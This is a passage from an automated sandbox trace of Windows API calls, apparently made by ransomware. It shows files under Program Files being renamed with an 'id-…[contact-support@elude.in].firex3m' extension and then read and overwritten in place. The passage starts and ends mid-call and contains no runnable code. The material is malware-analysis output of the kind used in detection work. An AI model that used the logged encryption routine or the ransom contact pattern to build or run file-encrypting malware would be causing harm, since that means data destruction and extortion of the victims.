ftCreationTime.dwLowDateTime=0x8e34a1b4, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e34a1b4, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x57021d1c, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0xa0cb, dwReserved0=0x9b47496, dwReserved1=0x743e070, cFileName="index.html.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="INDEXH~1.FIR")) returned 0x6d52c0 [0243.372] FindClose (in: hFindFile=0x6d52c0 | out: hFindFile=0x6d52c0) returned 1 [0243.372] Sleep (dwMilliseconds=0x1) [0244.257] SysReAllocStringLen (in: pbstr=0x69bff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe\\Assets\\AppTiles\\News_LogoSmall.targetsize-48.png", len=0x7d | out: pbstr=0x69bff7c*="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe\\Assets\\AppTiles\\News_LogoSmall.targetsize-48.png") returned 1 [0244.257] GetProcessHeap () returned 0x630000 [0244.258] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4f50) returned 0x6fe3bb0 [0244.258] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe\\Assets\\AppTiles\\News_LogoSmall.targetsize-48.png" (normalized: "c:\\program files\\windowsapps\\microsoft.bingnews_4.6.169.0_x86__8wekyb3d8bbwe\\assets\\apptiles\\news_logosmall.targetsize-48.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0244.259] Sleep (dwMilliseconds=0x1) [0244.262] SysReAllocStringLen (in: pbstr=0x69bff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe\\Assets\\AppTiles\\News_LogoSmall.scale-100.png", len=0x79 | out: pbstr=0x69bff7c*="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe\\Assets\\AppTiles\\News_LogoSmall.scale-100.png") returned 1 [0244.262] GetProcessHeap () returned 0x630000 [0244.262] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4f3c) returned 0x6fe3bb0 [0244.262] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe\\Assets\\AppTiles\\News_LogoSmall.scale-100.png" (normalized: "c:\\program files\\windowsapps\\microsoft.bingnews_4.6.169.0_x86__8wekyb3d8bbwe\\assets\\apptiles\\news_logosmall.scale-100.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0244.265] Sleep (dwMilliseconds=0x1) [0244.286] SysReAllocStringLen (in: pbstr=0x69bff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe\\Assets\\AppTiles\\contrast-black\\News_LogoSmall.targetsize-48.png", len=0x8c | out: pbstr=0x69bff7c*="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe\\Assets\\AppTiles\\contrast-black\\News_LogoSmall.targetsize-48.png") returned 1 [0244.286] GetProcessHeap () returned 0x630000 [0244.286] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4efc) returned 0x6fe3bb0 [0244.286] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe\\Assets\\AppTiles\\contrast-black\\News_LogoSmall.targetsize-48.png" (normalized: "c:\\program files\\windowsapps\\microsoft.bingnews_4.6.169.0_x86__8wekyb3d8bbwe\\assets\\apptiles\\contrast-black\\news_logosmall.targetsize-48.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0244.291] Sleep (dwMilliseconds=0x1) [0246.344] SysReAllocStringLen (in: pbstr=0x69bff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\Assets\\AppTiles\\contrast-black\\Sports_TileSmallSquare.scale-100.png", len=0x92 | out: pbstr=0x69bff7c*="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\Assets\\AppTiles\\contrast-black\\Sports_TileSmallSquare.scale-100.png") returned 1 [0246.345] GetProcessHeap () returned 0x630000 [0246.345] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4eb0) returned 0x6fe3bb0 [0246.346] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\Assets\\AppTiles\\contrast-black\\Sports_TileSmallSquare.scale-100.png" (normalized: "c:\\program files\\windowsapps\\microsoft.bingsports_4.6.169.0_x86__8wekyb3d8bbwe\\assets\\apptiles\\contrast-black\\sports_tilesmallsquare.scale-100.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0246.348] Sleep (dwMilliseconds=0x1) [0246.356] SysReAllocStringLen (in: pbstr=0x69bff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\Assets\\AppTiles\\contrast-black\\Sports_LogoSmall.targetsize-32.png", len=0x90 | out: pbstr=0x69bff7c*="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\Assets\\AppTiles\\contrast-black\\Sports_LogoSmall.targetsize-32.png") returned 1 [0246.357] GetProcessHeap () returned 0x630000 [0246.357] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4e9c) returned 0x6fe3bb0 [0246.357] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\Assets\\AppTiles\\contrast-black\\Sports_LogoSmall.targetsize-32.png" (normalized: "c:\\program files\\windowsapps\\microsoft.bingsports_4.6.169.0_x86__8wekyb3d8bbwe\\assets\\apptiles\\contrast-black\\sports_logosmall.targetsize-32.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0246.358] Sleep (dwMilliseconds=0x1) [0246.372] SysReAllocStringLen (in: pbstr=0x69bff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\Assets\\AppTiles\\contrast-black\\Sports_LogoSmall.targetsize-16.png", len=0x90 | out: pbstr=0x69bff7c*="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\Assets\\AppTiles\\contrast-black\\Sports_LogoSmall.targetsize-16.png") returned 1 [0246.372] GetProcessHeap () returned 0x630000 [0246.372] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4e90) returned 0x6fe3bb0 [0246.372] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\Assets\\AppTiles\\contrast-black\\Sports_LogoSmall.targetsize-16.png" (normalized: "c:\\program files\\windowsapps\\microsoft.bingsports_4.6.169.0_x86__8wekyb3d8bbwe\\assets\\apptiles\\contrast-black\\sports_logosmall.targetsize-16.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0246.375] Sleep (dwMilliseconds=0x1) [0246.395] SysReAllocStringLen (in: pbstr=0x69bff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\AppxBlockMap.xml", len=0x5f | out: pbstr=0x69bff7c*="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\AppxBlockMap.xml") returned 1 [0246.395] GetProcessHeap () returned 0x630000 [0246.395] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4e7c) returned 0x6fe3bb0 [0246.395] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\AppxBlockMap.xml" (normalized: "c:\\program files\\windowsapps\\microsoft.bingsports_4.6.169.0_x86__8wekyb3d8bbwe\\appxblockmap.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0246.396] Sleep (dwMilliseconds=0x1) [0246.403] SysReAllocStringLen (in: pbstr=0x69bff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_neutral_~_8wekyb3d8bbwe\\AppxBlockMap.xml", len=0x64 | out: pbstr=0x69bff7c*="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_neutral_~_8wekyb3d8bbwe\\AppxBlockMap.xml") returned 1 [0246.403] GetProcessHeap () returned 0x630000 [0246.403] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4e6c) returned 0x6fe3bb0 [0246.403] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_neutral_~_8wekyb3d8bbwe\\AppxBlockMap.xml" (normalized: "c:\\program files\\windowsapps\\microsoft.bingsports_4.6.169.0_neutral_~_8wekyb3d8bbwe\\appxblockmap.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0246.409] Sleep (dwMilliseconds=0x1) [0246.417] SysReAllocStringLen (in: pbstr=0x69bff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe\\SQLiteWrapper.winmd", len=0x60 | out: pbstr=0x69bff7c*="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe\\SQLiteWrapper.winmd") returned 1 [0246.417] GetProcessHeap () returned 0x630000 [0246.417] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4e64) returned 0x6fe3bb0 [0246.417] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe\\SQLiteWrapper.winmd" (normalized: "c:\\program files\\windowsapps\\microsoft.bingnews_4.6.169.0_x86__8wekyb3d8bbwe\\sqlitewrapper.winmd"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0246.418] Sleep (dwMilliseconds=0x1) [0246.437] SysReAllocStringLen (in: pbstr=0x69bff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe\\Microsoft.Msn.Shell\\Themes\\Glyphs\\Font\\MSNMDL2.ttf", len=0x7f | out: pbstr=0x69bff7c*="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe\\Microsoft.Msn.Shell\\Themes\\Glyphs\\Font\\MSNMDL2.ttf") returned 1 [0246.437] GetProcessHeap () returned 0x630000 [0246.437] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4e48) returned 0x6fe3bb0 [0246.438] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe\\Microsoft.Msn.Shell\\Themes\\Glyphs\\Font\\MSNMDL2.ttf" (normalized: "c:\\program files\\windowsapps\\microsoft.bingnews_4.6.169.0_x86__8wekyb3d8bbwe\\microsoft.msn.shell\\themes\\glyphs\\font\\msnmdl2.ttf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0246.438] Sleep (dwMilliseconds=0x1) [0246.483] SysReAllocStringLen (in: pbstr=0x69bff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe\\Microsoft.Msn.Services\\Personalization\\DataModels\\Weather\\Weather.xml", len=0x92 | out: pbstr=0x69bff7c*="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe\\Microsoft.Msn.Services\\Personalization\\DataModels\\Weather\\Weather.xml") returned 1 [0246.483] GetProcessHeap () returned 0x630000 [0246.483] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4e44) returned 0x6fe3bb0 [0246.483] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe\\Microsoft.Msn.Services\\Personalization\\DataModels\\Weather\\Weather.xml" (normalized: "c:\\program files\\windowsapps\\microsoft.bingnews_4.6.169.0_x86__8wekyb3d8bbwe\\microsoft.msn.services\\personalization\\datamodels\\weather\\weather.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0246.484] Sleep (dwMilliseconds=0x1) [0246.501] SysReAllocStringLen (in: pbstr=0x69bff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\Visio Shared\\Fonts\\BIGFONT.SHX", len=0x70 | out: pbstr=0x69bff7c*="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\Visio Shared\\Fonts\\BIGFONT.SHX") returned 1 [0246.501] GetProcessHeap () returned 0x630000 [0246.501] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4e28) returned 0x6fe3bb0 [0246.501] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\Visio Shared\\Fonts\\BIGFONT.SHX" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\visio shared\\fonts\\bigfont.shx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4dc [0246.502] CloseHandle (hObject=0x4dc) returned 1 [0246.502] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x69bef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0246.502] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\Visio Shared\\Fonts\\BIGFONT.SHX" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\visio shared\\fonts\\bigfont.shx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\Visio Shared\\Fonts\\BIGFONT.SHX.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\visio shared\\fonts\\bigfont.shx.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0246.503] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x69bef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0246.503] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\Visio Shared\\Fonts\\BIGFONT.SHX.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x69bfc6c | out: lpFindFileData=0x69bfc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x52ea133, ftCreationTime.dwHighDateTime=0x1d47c32, ftLastAccessTime.dwLowDateTime=0x52ea133, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x52ea133, ftLastWriteTime.dwHighDateTime=0x1d47c32, nFileSizeHigh=0x0, nFileSizeLow=0x4f2ea, dwReserved0=0x320031, dwReserved1=0x5b005f, cFileName="BIGFONT.SHX.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="BIGFON~1.FIR")) returned 0x6d5280 [0246.503] FindClose (in: hFindFile=0x6d5280 | out: hFindFile=0x6d5280) returned 1 [0246.503] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\Visio Shared\\Fonts\\BIGFONT.SHX.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\visio shared\\fonts\\bigfont.shx.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4dc [0246.503] GetProcessHeap () returned 0x630000 [0246.503] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x70505a0 [0246.503] GetProcessHeap () returned 0x630000 [0246.503] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x6f44310 [0246.504] SetFilePointerEx (in: hFile=0x4dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0246.504] ReadFile (in: hFile=0x4dc, lpBuffer=0x70505a0, nNumberOfBytesToRead=0xb400, lpNumberOfBytesRead=0x69bff0c, lpOverlapped=0x0 | out: lpBuffer=0x70505a0*, lpNumberOfBytesRead=0x69bff0c*=0xb400, lpOverlapped=0x0) returned 1 [0252.681] GetProcessHeap () returned 0x630000 [0252.681] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7317950 [0252.681] SetFilePointerEx (in: hFile=0x4dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0252.682] WriteFile (in: hFile=0x4dc, lpBuffer=0x6f44310*, nNumberOfBytesToWrite=0xb400, lpNumberOfBytesWritten=0x69bff0c, lpOverlapped=0x0 | out: lpBuffer=0x6f44310*, lpNumberOfBytesWritten=0x69bff0c*=0xb400, lpOverlapped=0x0) returned 1 [0252.682] SetFilePointerEx (in: hFile=0x4dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0252.682] WriteFile (in: hFile=0x4dc, lpBuffer=0x6f4f70f*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x69bff0c, lpOverlapped=0x0 | out: lpBuffer=0x6f4f70f*, lpNumberOfBytesWritten=0x69bff0c*=0x20, lpOverlapped=0x0) returned 1 [0253.696] SetFilePointerEx (in: hFile=0x4dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0253.696] WriteFile (in: hFile=0x4dc, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x69bff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x69bff0c*=0x4, lpOverlapped=0x0) returned 1 [0253.696] CloseHandle (hObject=0x4dc) returned 1 [0253.696] GetProcessHeap () returned 0x630000 [0253.696] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6f44310 | out: hHeap=0x630000) returned 1 [0253.697] GetProcessHeap () returned 0x630000 [0253.697] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x70505a0 | out: hHeap=0x630000) returned 1 [0253.697] GetProcessHeap () returned 0x630000 [0253.697] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7317950 | out: hHeap=0x630000) returned 1 [0254.415] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x69bef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0254.415] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\Visio Shared\\Fonts\\BIGFONT.SHX.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x69bfcc4 | out: lpFindFileData=0x69bfcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x52ea133, ftCreationTime.dwHighDateTime=0x1d47c32, ftLastAccessTime.dwLowDateTime=0x52ea133, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x5d2a320e, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x4f30e, dwReserved0=0x9b47496, dwReserved1=0x7050598, cFileName="BIGFONT.SHX.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="BIGFON~1.FIR")) returned 0x6d5580 [0254.416] FindClose (in: hFindFile=0x6d5580 | out: hFindFile=0x6d5580) returned 1 [0254.416] Sleep (dwMilliseconds=0x1) [0254.449] SysReAllocStringLen (in: pbstr=0x69bff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_neutral_split.scale-100_8wekyb3d8bbwe\\AppxSignature.p7x", len=0x74 | out: pbstr=0x69bff7c*="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_neutral_split.scale-100_8wekyb3d8bbwe\\AppxSignature.p7x") returned 1 [0254.449] GetProcessHeap () returned 0x630000 [0254.449] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4e04) returned 0x6fe3bb0 [0254.449] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_neutral_split.scale-100_8wekyb3d8bbwe\\AppxSignature.p7x" (normalized: "c:\\program files\\windowsapps\\microsoft.bingweather_4.18.56.0_neutral_split.scale-100_8wekyb3d8bbwe\\appxsignature.p7x"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0257.156] Sleep (dwMilliseconds=0x1) [0261.200] SysReAllocStringLen (in: pbstr=0x69bff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\CONCRETE\\PREVIEW.GIF", len=0x6f | out: pbstr=0x69bff7c*="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\CONCRETE\\PREVIEW.GIF") returned 1 [0261.200] GetProcessHeap () returned 0x630000 [0261.200] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4c80) returned 0x6fe3bb0 [0261.200] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\CONCRETE\\PREVIEW.GIF" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\concrete\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4e4 [0261.218] CloseHandle (hObject=0x4e4) returned 1 [0261.218] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x69bef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0261.218] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\CONCRETE\\PREVIEW.GIF" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\concrete\\preview.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\CONCRETE\\PREVIEW.GIF.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\concrete\\preview.gif.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0261.722] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x69bef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0261.722] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\CONCRETE\\PREVIEW.GIF.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x69bfc6c | out: lpFindFileData=0x69bfc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x27ae323c, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27ae323c, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27b094aa, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x507, dwReserved0=0x5f0032, dwReserved1=0x63005b, cFileName="PREVIEW.GIF.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="PREVIE~1.FIR")) returned 0x6d4f00 [0261.723] FindClose (in: hFindFile=0x6d4f00 | out: hFindFile=0x6d4f00) returned 1 [0261.723] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\CONCRETE\\PREVIEW.GIF.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\concrete\\preview.gif.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4e4 [0261.723] GetProcessHeap () returned 0x630000 [0261.723] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x521) returned 0x6f00fb0 [0261.723] GetProcessHeap () returned 0x630000 [0261.723] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x521) returned 0x6f00520 [0261.723] SetFilePointerEx (in: hFile=0x4e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0261.723] ReadFile (in: hFile=0x4e4, lpBuffer=0x6f00fb0, nNumberOfBytesToRead=0x500, lpNumberOfBytesRead=0x69bff0c, lpOverlapped=0x0 | out: lpBuffer=0x6f00fb0*, lpNumberOfBytesRead=0x69bff0c*=0x500, lpOverlapped=0x0) returned 1 [0261.730] GetProcessHeap () returned 0x630000 [0261.730] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7316e60 [0261.730] SetFilePointerEx (in: hFile=0x4e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0261.730] WriteFile (in: hFile=0x4e4, lpBuffer=0x6f00520*, nNumberOfBytesToWrite=0x500, lpNumberOfBytesWritten=0x69bff0c, lpOverlapped=0x0 | out: lpBuffer=0x6f00520*, lpNumberOfBytesWritten=0x69bff0c*=0x500, lpOverlapped=0x0) returned 1 [0261.730] SetFilePointerEx (in: hFile=0x4e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: 